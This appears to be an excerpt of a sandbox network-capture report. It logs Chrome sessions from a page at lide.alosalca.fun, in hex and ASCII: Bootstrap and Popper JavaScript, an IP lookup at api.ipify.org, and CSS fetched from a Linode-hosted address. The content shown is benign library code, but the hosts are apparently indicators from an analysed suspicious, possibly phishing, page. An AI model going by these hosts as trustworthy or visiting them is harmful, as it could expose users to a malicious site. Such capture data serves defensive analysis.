2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49724	104.18.10.207	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	558	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:44:59 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:44:59 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: eb45b81c676b076d1a397fc79f423d64 CDN-Cache: HIT CF-Cache-Status: HIT Age: 3151599 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87a0d4b38e06137d-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 19:44:59 UTC	423	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c00/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 29 Data Ascii: ry","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a 28 Data Ascii: gger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":(
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f 64 Data Ascii: return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._d
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d Data Ascii: }if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e 61 Data Ascii: EAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".a
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b 76 Data Ascii: ll),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];v
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 69 Data Ascii: test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirecti
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 22 Data Ascii: get:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+" "
2024-04-25 19:44:59 UTC	1369	IN	Data Raw: 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 69 Data Ascii: t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49722	104.26.13.205	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	555	OUT	GET /?format=json HTTP/1.1 Host: api.ipify.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:44:59 UTC	249	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 19:44:59 GMT Content-Type: application/json Content-Length: 23 Connection: close Access-Control-Allow-Origin: * Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 87a0d4b38a62134d-ATL
2024-04-25 19:44:59 UTC	23	IN	Data Raw: 7b 22 69 70 22 3a 22 31 38 35 2e 31 35 32 2e 36 36 2e 32 33 30 22 7d Data Ascii: {"ip":"185.152.66.230"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	69.164.216.107	443	5400	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 19:44:59 UTC	589	OUT	GET /gss/Y0XFRO464XV5OX3u HTTP/1.1 Host: 69-164-216-107.ip.linodeusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: http://lide.alosalca.fun Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://lide.alosalca.fun/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 19:44:59 UTC	189	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 25 Apr 2024 19:44:59 GMT Transfer-Encoding: chunked Connection: close X-Powered-By: Express Access-Control-Allow-Origin: *
2024-04-25 19:44:59 UTC	16195	IN	Data Raw: 31 66 33 66 0d 0a 0d 0a 0d 0a 20 20 20 20 3a 72 6f 6f 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 62 6c 75 65 3a 20 23 30 30 37 62 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 69 6e 64 69 67 6f 3a 20 23 36 36 31 30 66 32 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 70 75 72 70 6c 65 3a 20 23 36 66 34 32 63 31 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 70 69 6e 6b 3a 20 23 65 38 33 65 38 63 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 72 65 64 3a 20 23 64 63 33 35 34 35 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 6f 72 61 6e 67 65 3a 20 23 66 64 37 65 31 34 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 79 65 6c 6c 6f 77 3a 20 23 66 66 63 31 30 37 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 67 72 65 65 6e 3a 20 23 32 38 61 37 34 35 3b 0d 0a 20 20 20 20 20 20 20 20 2d 2d 74 65 61 6c 3a 20 Data Ascii: 1f3f :root { --blue: #007bff; --indigo: #6610f2; --purple: #6f42c1; --pink: #e83e8c; --red: #dc3545; --orange: #fd7e14; --yellow: #ffc107; --green: #28a745; --teal:
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 6f 78 2d 6f 72 64 69 6e 61 6c 0d 0a 32 30 30 30 0d 0a 2d 67 72 6f 75 70 3a 20 39 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 38 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 38 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 39 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 30 3b 0d 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 6f 72 64 65 72 3a 20 39 3b 0d 0a 20 20 20 20 20 20 20 20 6f 72 64 65 72 3a 20 39 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 6f 72 64 65 72 2d 31 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 64 69 6e 61 6c 2d 67 72 6f 75 70 3a 20 31 31 3b 0d 0a 20 20 Data Ascii: ox-ordinal2000-group: 9; -ms-flex-order: 8; order: 8 } .order-9 { -webkit-box-ordinal-group: 10; -ms-flex-order: 9; order: 9 } .order-10 { -webkit-box-ordinal-group: 11;
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 78 2d 6f 72 64 65 72 3a 20 31 32 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 32 30 30 30 0d 0a 6f 72 64 65 72 3a 20 31 32 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 6c 67 2d 30 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 6c 67 2d 31 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 38 2e 33 33 33 33 33 33 25 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 6f 66 66 73 65 74 2d 6c 67 2d 32 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 36 2e 36 36 36 36 36 37 25 Data Ascii: x-order: 12; 2000order: 12 } .offset-lg-0 { margin-left: 0 } .offset-lg-1 { margin-left: 8.333333% } .offset-lg-2 { margin-left: 16.666667%
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 64 3e 2e 62 74 6e 2c 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 0d 0a 38 30 30 30 0d 0a 70 72 65 70 65 6e 64 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 74 65 78 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 2e 32 35 72 65 6d 20 2e 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 38 37 35 72 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 2e 32 72 65 6d 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 73 6d 3e 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 70 70 65 6e 64 3e 73 65 6c 65 63 74 2e 62 74 Data Ascii: d>.btn, .input-group-sm>.input-group-8000prepend>.input-group-text { padding: .25rem .5rem; font-size: .875rem; line-height: 1.5; border-radius: .2rem } .input-group-sm>.input-group-append>select.bt
2024-04-25 19:44:59 UTC	16384	IN	Data Raw: 6c 6f 72 3a 20 23 32 38 61 37 34 35 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 32 38 61 37 34 35 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 31 38 38 33 38 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 31 65 37 65 33 34 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 2e 66 6f 63 75 73 2c 0d 0a 20 20 20 20 2e 62 74 6e 2d 73 75 63 63 65 73 73 3a 66 6f 63 75 73 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 30 20 30 Data Ascii: lor: #28a745; border-color: #28a745 } 